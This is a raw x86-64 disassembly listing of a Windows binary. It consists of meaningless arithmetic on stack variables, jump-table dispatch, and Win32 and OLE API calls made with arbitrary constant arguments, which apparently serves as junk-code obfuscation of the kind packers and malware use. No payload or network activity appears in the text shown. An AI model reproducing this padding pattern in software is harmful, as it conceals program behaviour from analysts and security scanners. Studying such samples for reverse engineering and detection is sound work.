cmp dword [rsp + 0xa860], 0x572
je 0x14030e226
cmp dword [rsp + 0xa860], 0xab0
je 0x14030e0d0
jmp 0x14030e34f
lea rax, [rsp + 0x1784]
mov qword [rsp + 0x13108], rax
movsx eax, byte [rsp + 0x6b0]
movsx ecx, byte [rsp + 0x43e]
sub eax, ecx
mov byte [rsp + 0x628], al
movzx eax, byte [0x14035e48e]
mov byte [rsp + 0x6b3], al
mov rax, qword [rsp + 0x13060]
movzx eax, byte [rax]
mov dword [rsp + 0xa864], eax
cmp dword [rsp + 0xa864], 0xc8
ja case.0x14001f3fd.8
movsxd rax, dword [rsp + 0xa864]
lea rcx, [0x140000000]
movzx eax, byte [rcx + rax + 0x30f014]
mov eax, dword [rcx + rax*4 + 0x30eff0]
add rax, rcx
jmp rax
mov rax, qword [rsp + 0x13090]
mov ecx, dword [rsp + 0xa7d8]
mov eax, dword [rax]
sub eax, ecx
mov ecx, dword [rsp + 0xa810]
mov edx, dword [rsp + 0xa81c]
or edx, ecx
mov ecx, edx
cmp eax, ecx
jl 0x14030d368
mov rax, qword [rsp + 0x13050]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x299c]
sub eax, ecx
mov word [rsp + 0x2484], ax
movsx eax, byte [rsp + 0x628]
movsx ecx, byte [rsp + 0x43e]
add eax, ecx
movsx ecx, byte [rsp + 0x6b2]
movsx edx, byte [rsp + 0x6b0]
or ecx, edx
cmp eax, ecx
jle 0x14001f5ca
mov rax, qword [rsp + 0x13020]
mov eax, dword [rax]
mov dword [rsp + 0xa81c], eax
mov eax, dword [rsp + 0xa81c]
movzx ecx, al
mov eax, dword [rsp + 0xa804]
shl eax, cl
mov rcx, qword [rsp + 0x13090]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12fb8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x13108]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x197c], ax
movsx eax, word [rsp + 0x1784]
mov rcx, qword [rsp + 0x13108]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x12fb8]
mov word [rcx], ax
lea rcx, [rsp + 0x41988]
call qword [sym.imp.USER32.dll_GetCursorInfo]
mov dword [rsp + 0xa7b0], eax
movzx eax, byte [rsp + 0x6b3]
mov rcx, qword [rsp + 0x12f38]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x13060]
mov byte [rcx], al
movzx eax, word [rsp + 0x298c]
mov rcx, qword [rsp + 0x12fe8]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2484], ax
mov rax, qword [rsp + 0x12f90]
mov eax, dword [rax]
mov dword [rsp + 0xa868], eax
mov rax, qword [rsp + 0x12f90]
mov ecx, dword [rsp + 0xa78c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x12f40]
mov dword [rcx], eax
mov r9d, 0xb5
mov r8d, 0xa8
mov rdx, qword [rsp + 0x12f68]
mov rcx, qword [rsp + 0x12fe0]
call qword [sym.imp.USER32.dll_WinHelpW]
mov dword [rsp + 0xa86c], eax
mov rax, qword [rsp + 0x12f50]
mov rcx, qword [rsp + 0x12f20]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x8604], eax
mov rax, qword [rsp + 0x12ee0]
mov ecx, dword [rsp + 0xa774]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x12f50]
mov dword [rcx], eax
jmp 0x14001f888
movzx eax, word [rsp + 0x2484]
movzx ecx, word [rsp + 0x299c]
sub eax, ecx
mov rcx, qword [rsp + 0x12fe8]
movzx ecx, word [rcx]
movzx edx, word [rsp + 0x298c]
sub ecx, edx
cmp eax, ecx
jl 0x14001f720
mov rax, qword [rsp + 0x13020]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa7d4]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12f50]
mov edx, dword [rsp + 0xa7b4]
mov ecx, dword [rcx]
and ecx, edx
cmp eax, ecx
jg 0x14001f6b4
mov rax, qword [rsp + 0x12ee0]
mov ecx, dword [rsp + 0x8604]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa850], eax
movzx eax, byte [rsp + 0x43d]
mov byte [rsp + 0x6b4], al
mov rax, qword [rsp + 0x12fa8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x12fe8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x298c], ax
movzx ecx, word [rsp + 0x2988]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2988], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa870], eax
lea rdx, [rsp + 0x45b28]
mov rcx, qword [rsp + 0x12ee8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xa7c4], eax
jmp 0x14001f71b
mov rax, qword [rsp + 0x12f90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa868]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12f40]
mov rdx, qword [rsp + 0x12f48]
mov edx, dword [rdx]
mov ecx, dword [rcx]
sub ecx, edx
cmp eax, ecx
je 0x14001f702
mov rax, qword [rsp + 0x12f90]
mov ecx, dword [rsp + 0xa78c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x12f40]
mov dword [rcx], eax
jmp 0x14001f71b
mov eax, dword [rsp + 0xa850]
mov ecx, dword [rsp + 0xa854]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa804], eax
jmp 0x14001f888
mov rax, qword [rsp + 0x13050]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2484]
sub eax, ecx
movzx ecx, word [rsp + 0x299c]
movzx edx, word [rsp + 0x298c]
sub ecx, edx
cmp eax, ecx
jle 0x14001f7de
mov rax, qword [rsp + 0x12f50]
mov ecx, dword [rsp + 0xa804]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x12ee0]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa7d0]
mov rcx, qword [rsp + 0x12f48]
mov qword [rsp + 0x13110], rcx
movzx ecx, al
mov rax, qword [rsp + 0x13110]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xa808], eax
lea rdx, [rsp + 0x41998]
lea rcx, [rsp + 0x41958]
call qword [sym.imp.ole32.dll_OleSetAutoConvert]
mov dword [rsp + 0xa7f4], eax
mov rax, qword [rsp + 0x12fe8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x12fa8]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x12fe8]
mov word [rcx], ax
jmp 0x14001f888
mov eax, dword [rsp + 0xa7b4]
mov ecx, dword [rsp + 0x8604]
add ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0xa81c]
mov edx, dword [rsp + 0xa7d4]
xor edx, ecx
mov ecx, edx
cmp eax, ecx
jle 0x14001f827
mov rax, qword [rsp + 0x12f38]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13060]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x6b3], al
jmp 0x14001f888
mov rax, qword [rsp + 0x12fa8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13050]
movzx ecx, word [rcx]
sar eax, cl
movzx ecx, word [rsp + 0x299c]
mov dword [rsp + 0xa874], ecx
movzx edx, word [rsp + 0x2484]
movzx ecx, dl
mov edx, dword [rsp + 0xa874]
shl edx, cl
mov ecx, edx
cmp eax, ecx
je 0x14001f888
mov rax, qword [rsp + 0x130e8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x13108]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2990], ax
movsx eax, byte [rsp + 0x6b2]
mov dword [rsp + 0xa878], eax
mov eax, dword [rsp + 0xa878]
sub eax, 0xffffffea
mov dword [rsp + 0xa878], eax
cmp dword [rsp + 0xa878], 0x64
ja case.0x14001f8d7.14
movsxd rax, dword [rsp + 0xa878]
lea rcx, [0x140000000]
movzx eax, byte [rcx + rax + 0x30f104]
mov eax, dword [rcx + rax*4 + 0x30f0e0]
add rax, rcx
jmp rax
movsx eax, word [rsp + 0x197c]
mov rcx, qword [rsp + 0x13108]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x12fb8]
mov word [rcx], ax
mov rax, qword [rsp + 0x12f90]
mov rcx, qword [rsp + 0x12f40]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa78c], eax
mov rax, qword [rsp + 0x13090]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa81c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12ee0]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x13118]
call qword [sym.imp.USER32.dll_CopyIcon]
mov qword [rsp + 0x13120], rax
mov rax, qword [rsp + 0x13060]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6b4]
sub eax, ecx
mov rcx, qword [rsp + 0x12f38]
mov byte [rcx], al
movzx eax, word [rsp + 0x2484]
mov rcx, qword [rsp + 0x13050]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x298c], ax
mov rax, qword [rsp + 0x12ee0]
mov rcx, qword [rsp + 0x13090]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13020]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12f90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa87c]
add ecx, eax
mov eax, ecx
mov dword [0x14035cbd8], eax
jmp case.0x14001f8d7.14
mov rax, qword [rsp + 0x12f20]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa7b4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x8604], eax
mov rax, qword [rsp + 0x12f50]
mov rcx, qword [rsp + 0x12f20]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13090]
mov dword [rcx], eax
lea rdx, [rsp + 0x6b3]
lea rcx, [rsp + 0x41958]
call qword [sym.imp.ole32.dll_ProgIDFromCLSID]
mov dword [rsp + 0xa848], eax
mov rax, qword [rsp + 0x12f38]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6b4]
xor eax, ecx
mov rcx, qword [rsp + 0x13060]
mov byte [rcx], al
movzx eax, word [rsp + 0x2484]
movzx ecx, word [rsp + 0x299c]
shl eax, cl
mov word [rsp + 0x298c], ax
mov eax, dword [0x14035cbd8]
mov rcx, qword [rsp + 0x12f90]
mov qword [rsp + 0x13128], rcx
movzx ecx, al
mov rax, qword [rsp + 0x13128]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x12f48]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa850]
mov ecx, dword [rsp + 0xa7b4]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xa7d8], eax
jmp case.0x14001f8d7.14
mov rax, qword [rsp + 0x12fb8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x130e8]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x13108]
movsx ecx, word [rcx]
movsx edx, word [rsp + 0x197c]
add ecx, edx
cmp eax, ecx
jl 0x14001fd58
mov rax, qword [rsp + 0x12f50]
mov rcx, qword [rsp + 0x12f20]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13020]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x6b2]
movsx ecx, byte [rsp + 0x43e]
sub eax, ecx
movsx ecx, byte [rsp + 0x628]
mov dword [rsp + 0xa880], ecx
movsx edx, byte [rsp + 0x6b0]
movzx ecx, dl
mov edx, dword [rsp + 0xa880]
sar edx, cl
mov ecx, edx
cmp eax, ecx
jle 0x14001fc6a
mov rax, qword [rsp + 0x13020]
mov eax, dword [rax]
mov dword [rsp + 0xa884], eax
movzx eax, word [rsp + 0x2484]
mov word [0x140362afc], ax
mov rax, qword [rsp + 0x12fa8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2484]
or eax, ecx
movzx ecx, word [0x140362afc]
mov rdx, qword [rsp + 0x12fe8]
movzx edx, word [rdx]
and ecx, edx
cmp eax, ecx
jle 0x14001fc1a
lea rdx, [rsp + 0x6b3]
mov rcx, qword [rsp + 0x13130]
call qword [sym.imp.ole32.dll_CLSIDFromProgID]
mov dword [rsp + 0xa858], eax
mov eax, dword [rsp + 0xa854]
mov ecx, dword [rsp + 0xa810]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa850], eax
movsx eax, word [rsp + 0x1784]
mov rcx, qword [rsp + 0x12fb8]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x130e8]
mov word [rcx], ax
movsx eax, word [rsp + 0x1784]
movsx ecx, word [rsp + 0x197c]
or eax, ecx
mov word [rsp + 0x2990], ax
movzx eax, word [rsp + 0x2484]
movzx ecx, word [rsp + 0x299c]
sub eax, ecx
mov rcx, qword [rsp + 0x12fa8]
mov word [rcx], ax
jmp 0x14001fc65
mov rax, qword [rsp + 0x12f90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa7d0]
and ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0xa868]
mov edx, dword [0x14035cbd8]
add edx, ecx
mov ecx, edx
cmp eax, ecx
jne 0x14001fc46
jmp 0x14001fc65
mov rax, qword [rsp + 0x12f38]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13060]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x6b1], al
jmp 0x14001fd53
mov rax, qword [rsp + 0x13090]
mov rcx, qword [rsp + 0x12f50]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x12f20]
mov ecx, dword [rcx]
mov rdx, qword [rsp + 0x13020]
mov edx, dword [rdx]
shl edx, cl
mov ecx, edx
cmp eax, ecx
je 0x14001fd53
mov rax, qword [rsp + 0x12f40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa78c]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12f48]
mov dword [rcx], eax
mov dword [rsp + 0x40], 0x8a
lea rax, [rsp + 0x13118]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0xa3
lea rax, [rsp + 0x13138]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x13140]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x628]
lea r8, [rsp + 0x298c]
mov rdx, qword [rsp + 0x13140]
mov rcx, qword [rsp + 0x12f30]
call qword [sym.imp.USER32.dll_UpdateLayeredWindow]
mov dword [rsp + 0xa780], eax
mov eax, dword [rsp + 0xa78c]
mov rcx, qword [rsp + 0x12f48]
mov qword [rsp + 0x13148], rcx
movzx ecx, al
mov rax, qword [rsp + 0x13148]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x12f40]
mov dword [rcx], eax
jmp 0x14001fe0b
mov rax, qword [rsp + 0x12f40]
mov ecx, dword [rsp + 0xa868]
mov eax, dword [rax]
add eax, ecx
mov ecx, dword [rsp + 0xa7d0]
mov edx, dword [rsp + 0xa808]
add edx, ecx
mov ecx, edx
cmp eax, ecx
je 0x14001fda0
movzx eax, word [rsp + 0x299c]
mov rcx, qword [rsp + 0x12fe8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2484], ax
jmp 0x14001fe0b
movzx eax, byte [rsp + 0x6b4]
movzx ecx, byte [rsp + 0x43d]
and eax, ecx
mov rcx, qword [rsp + 0x12f38]
movzx ecx, byte [rcx]
movzx edx, byte [rsp + 0x6b1]
sub ecx, edx
cmp eax, ecx
je 0x14001fdef
mov rax, qword [rsp + 0x12f38]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13060]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x12f38]
mov byte [rcx], al
jmp 0x14001fe0b
mov rax, qword [rsp + 0x12f20]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa81c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xa810], eax
jmp case.0x14001f8d7.14
mov rax, qword [rsp + 0x12f40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa7d0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa808], eax
mov eax, dword [rsp + 0xa81c]
mov ecx, dword [rsp + 0xa854]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12f20]
mov dword [rcx], eax
lea rax, [rsp + 0x13150]
mov qword [rsp + 0x20], rax
mov r9d, 0xae
lea r8, [rsp + 0x4a320]
mov edx, 0xdf
mov rcx, qword [rsp + 0x13158]
call qword [sym.imp.USER32.dll_CascadeWindows]
mov word [rsp + 0x2484], ax
mov rax, qword [rsp + 0x13090]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa7b4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa804], eax
mov rax, qword [rsp + 0x13060]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6b1]
sub eax, ecx
mov rcx, qword [rsp + 0x13060]
mov byte [rcx], al
movzx eax, word [rsp + 0x2484]
mov word [rsp + 0x299c], ax
mov rax, qword [rsp + 0x12f48]
mov ecx, dword [rsp + 0xa7dc]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x12f90]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13020]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8604]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa804], eax
mov rax, qword [rsp + 0x13050]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x299c]
sub eax, ecx
mov rcx, qword [rsp + 0x12fe8]
mov word [rcx], ax
lea r8, [rsp + 0x13140]
xor edx, edx
mov rcx, qword [rsp + 0x13160]
call sub.COMCTL32.dll_RemoveWindowSubclass
mov dword [rsp + 0xa780], eax
movsx eax, word [rsp + 0x2990]
movsx ecx, word [rsp + 0x1784]
or eax, ecx
mov rcx, qword [rsp + 0x130e8]
mov word [rcx], ax
movzx eax, word [rsp + 0x298c]
mov word [rsp + 0x299c], ax
jmp case.0x14001f8d7.14
movzx eax, byte [rsp + 0x6b1]
movzx ecx, byte [rsp + 0x6b4]
xor eax, ecx
mov rcx, qword [rsp + 0x12f38]
mov byte [rcx], al
mov rax, qword [rsp + 0x12f40]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x12f48]
mov qword [rsp + 0x13168], rcx
movzx ecx, al
mov rax, qword [rsp + 0x13168]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xa808], eax
mov r9d, 0x85
lea r8, [rsp + 0x4a670]
mov edx, 0xd0
mov rcx, qword [rsp + 0x12f08]
call qword [sym.imp.USER32.dll_EnumDisplayDevicesW]
mov dword [rsp + 0xa7b0], eax
mov eax, dword [rsp + 0xa81c]
mov rcx, qword [rsp + 0x12f50]
mov qword [rsp + 0x13170], rcx
movzx ecx, al
mov rax, qword [rsp + 0x13170]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x8604], eax
jmp case.0x14001f8d7.14
mov rax, qword [rsp + 0x13020]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa81c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12ee0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12f40]
mov ecx, dword [rsp + 0xa868]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x12f40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12ee0]
mov rcx, qword [rsp + 0x12f20]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa7d4], eax
movzx eax, word [rsp + 0x298c]
mov rcx, qword [rsp + 0x12fe8]
movzx ecx, word [rcx]
or eax, ecx
mov word [0x140362afc], ax
movzx eax, byte [rsp + 0x6b1]
movzx ecx, byte [rsp + 0x6b4]
add eax, ecx
mov rcx, qword [rsp + 0x13060]
mov byte [rcx], al
mov rcx, qword [rsp + 0x12fe0]
call qword [sym.imp.USER32.dll_UpdateWindow]
mov dword [rsp + 0xa888], eax
jmp case.0x14001f8d7.14
mov rax, qword [rsp + 0x12f20]
mov rcx, qword [rsp + 0x13090]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x12f50]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12f90]
mov eax, dword [rax]
mov dword [rsp + 0xa87c], eax
mov rax, qword [rsp + 0x12f50]
mov ecx, dword [rsp + 0xa854]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x12ee0]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa7b4]
mov ecx, dword [rsp + 0xa854]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x8604], eax
mov rax, qword [rsp + 0x13060]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6b3]
add eax, ecx
mov rcx, qword [rsp + 0x12f38]
mov byte [rcx], al
movzx eax, word [rsp + 0x299c]
mov rcx, qword [rsp + 0x12fa8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x298c], ax
lea rcx, [rsp + 0x13178]
call qword [sym.imp.ole32.dll_CoIsHandlerConnected]
mov dword [rsp + 0xa77c], eax
movsx eax, word [rsp + 0x197c]
movsx ecx, word [rsp + 0x1784]
add eax, ecx
mov word [rsp + 0x2990], ax
jmp case.0x14001f8d7.14
mov rax, qword [rsp + 0x12fb8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2990]
sub eax, ecx
mov rcx, qword [rsp + 0x130e8]
mov word [rcx], ax
mov rax, qword [rsp + 0x12f48]
mov eax, dword [rax]
mov dword [rsp + 0xa868], eax
mov eax, dword [rsp + 0xa850]
movzx ecx, al
mov eax, dword [rsp + 0xa854]
sar eax, cl
mov rcx, qword [rsp + 0x12f20]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13060]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x12f38]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x6b3], al
movzx eax, word [rsp + 0x2484]
mov rcx, qword [rsp + 0x13050]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x12fe8]
mov word [rcx], ax
mov dword [rsp + 0x28], 0x9a
lea rax, [rsp + 0x6b0]
mov qword [rsp + 0x20], rax
mov r9d, 0x5c
lea r8, [rsp + 0xa7b0]
lea rdx, [rsp + 0x419a8]
lea rcx, [rsp + 0x13150]
call qword [sym.imp.ole32.dll_CoGetMarshalSizeMax]
mov dword [rsp + 0xa83c], eax
mov rax, qword [rsp + 0x12f48]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa868]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12f40]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa7dc]
mov dword [rsp + 0xa88c], eax
cmp dword [rsp + 0xa88c], 0xc50c
ja 0x1400202e3
cmp dword [rsp + 0xa88c], 0xc50c
je 0x14030d20e
cmp dword [rsp + 0xa88c], 0
je 0x14002031b
cmp dword [rsp + 0xa88c], 0x4998
je 0x14030cf65
cmp dword [rsp + 0xa88c], 0xa7f6
je 0x14030d029
jmp 0x14030d25f
cmp dword [rsp + 0xa88c], 0xc7d5
je 0x14030ceb4
cmp dword [rsp + 0xa88c], 0xf0d4
je 0x14030d10b
cmp dword [rsp + 0xa88c], 0xfd0e
je 0x14030cf0e
jmp 0x14030d25f
movzx eax, word [rsp + 0x2484]
mov rcx, qword [rsp + 0x12fa8]
movzx ecx, word [rcx]
add eax, ecx
movzx ecx, word [rsp + 0x299c]
movzx edx, word [0x140362afc]
or ecx, edx
cmp eax, ecx
je 0x14002043b
movsx eax, byte [rsp + 0x43e]
movsx ecx, byte [rsp + 0x6b0]
sub eax, ecx
mov byte [rsp + 0x628], al
mov rax, qword [rsp + 0x12f48]
mov rcx, qword [rsp + 0x12f40]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x12f90]
mov dword [rcx], eax
mov eax, dword [rsp + 0x8604]
movzx ecx, al
mov eax, dword [rsp + 0xa7d8]
sar eax, cl
mov dword [rsp + 0xa804], eax
mov r9d, 0xa2
mov r8d, 0x8d
mov edx, 0xb6
mov rcx, qword [rsp + 0x130a8]
call qword [sym.imp.USER32.dll_DefWindowProcW]
mov qword [rsp + 0x12f80], rax
mov rax, qword [rsp + 0x13050]
movzx eax, word [rax]
movzx ecx, word [0x140362afc]
shl eax, cl
mov rcx, qword [rsp + 0x12fa8]
mov word [rcx], ax
mov rax, qword [rsp + 0x12f38]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6b1]
and eax, ecx
mov byte [rsp + 0x43d], al
mov rax, qword [rsp + 0x12ee0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa854]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12f20]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa808]
mov ecx, dword [rsp + 0xa7dc]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xa78c], eax
jmp 0x14030cd3d
movzx eax, byte [rsp + 0x6b4]
movzx ecx, byte [rsp + 0x6b3]
sub eax, ecx
movzx ecx, byte [rsp + 0x43d]
movzx edx, byte [rsp + 0x6b1]
add ecx, edx
cmp eax, ecx
jle 0x140020518
mov rax, qword [rsp + 0x13090]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa884]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13020]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12f20]
mov rcx, qword [rsp + 0x13020]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa850], eax
lea rax, [rsp + 0x12fd8]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x13138]
lea r8, [rsp + 0x419b8]
mov edx, 0x32
lea rcx, [rsp + 0x13050]
call qword [sym.imp.ole32.dll_CoInstall]
mov dword [rsp + 0xa890], eax
movzx eax, word [rsp + 0x2484]
movzx ecx, word [rsp + 0x298c]
sub eax, ecx
mov rcx, qword [rsp + 0x13050]
mov word [rcx], ax
movzx eax, byte [rsp + 0x6b4]
mov rcx, qword [rsp + 0x13060]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x6b1], al
jmp 0x14030cd3d
movsx eax, word [rsp + 0x1784]
mov rcx, qword [rsp + 0x13108]
movsx ecx, word [rcx]
add eax, ecx
movsx ecx, word [rsp + 0x2990]
movsx edx, word [rsp + 0x197c]
xor ecx, edx
cmp eax, ecx
jle 0x1400206be
mov eax, dword [rsp + 0xa87c]
mov ecx, dword [0x14035cbd8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12f40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12ee0]
mov eax, dword [rax]
mov dword [rsp + 0xa854], eax
mov rax, qword [rsp + 0x12f20]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa884]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13090]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x6b1]
movzx ecx, byte [rsp + 0x6b3]
add eax, ecx
mov byte [0x14035e48e], al
mov r9d, 0xe5
mov r8d, 0xf6
mov edx, 0xbc
mov rcx, qword [rsp + 0x13180]
call sub.COMCTL32.dll_DefSubclassProc
mov qword [rsp + 0x130c8], rax
mov eax, dword [rsp + 0xa7d4]
mov dword [rsp + 0xa81c], eax
mov rax, qword [rsp + 0x12fa8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x12fe8]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x12fa8]
mov word [rcx], ax
movsx eax, word [rsp + 0x1784]
mov rcx, qword [rsp + 0x13108]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x12fb8]
mov word [rcx], ax
movzx eax, word [rsp + 0x299c]
mov rcx, qword [rsp + 0x12fa8]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x298c], ax
mov rax, qword [rsp + 0x12f38]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x43d]
sar eax, cl
mov byte [rsp + 0x6b4], al
mov eax, dword [rsp + 0xa808]
mov ecx, dword [rsp + 0xa7dc]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12f90]
mov dword [rcx], eax
mov cx, 0x3b
call qword [sym.imp.USER32.dll_OemKeyScan]
mov dword [rsp + 0xa7d0], eax
mov rax, qword [rsp + 0x12f90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa78c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12f40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12fe8]
movzx eax, word [rax]
mov word [rsp + 0x299c], ax
jmp 0x14030cd3d
movsx eax, word [rsp + 0x197c]
mov rcx, qword [rsp + 0x130e8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x140353b08], ax
mov rax, qword [rsp + 0x12f38]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13060]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x6b1], al
lea rax, [rsp + 0xa804]
mov qword [rsp + 0x13188], rax
mov rax, qword [rsp + 0x12f48]
mov ecx, dword [rsp + 0xa808]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x12f90]
mov dword [rcx], eax
lea rcx, [rsp + 0x41a48]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
